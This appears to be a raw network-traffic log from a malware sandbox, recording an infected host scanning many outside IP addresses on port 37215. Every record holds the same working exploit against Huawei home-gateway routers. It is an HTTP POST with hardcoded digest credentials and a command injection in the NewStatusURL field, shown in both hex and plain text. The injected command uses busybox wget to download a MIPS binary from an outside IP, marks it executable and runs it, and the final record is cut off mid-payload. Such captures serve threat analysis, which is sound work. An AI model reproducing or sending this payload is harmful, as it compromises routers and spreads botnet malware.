Jun 10, 2024 15:38:02.919147968 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
892	192.168.2.13	57886	197.184.200.60	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.920635939 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
893	192.168.2.13	37950	41.78.178.23	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.921766996 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
894	192.168.2.13	33046	197.142.139.143	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.922975063 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
895	192.168.2.13	57234	156.82.178.96	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.924570084 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
896	192.168.2.13	55820	156.189.36.162	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.925765038 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
897	192.168.2.13	42424	197.184.123.16	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.926996946 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
898	192.168.2.13	46424	197.157.72.91	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.928461075 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
899	192.168.2.13	33768	156.147.57.40	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.930758953 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
900	192.168.2.13	33406	156.179.20.17	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.932450056 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
901	192.168.2.13	52838	41.70.30.5	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.933794975 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 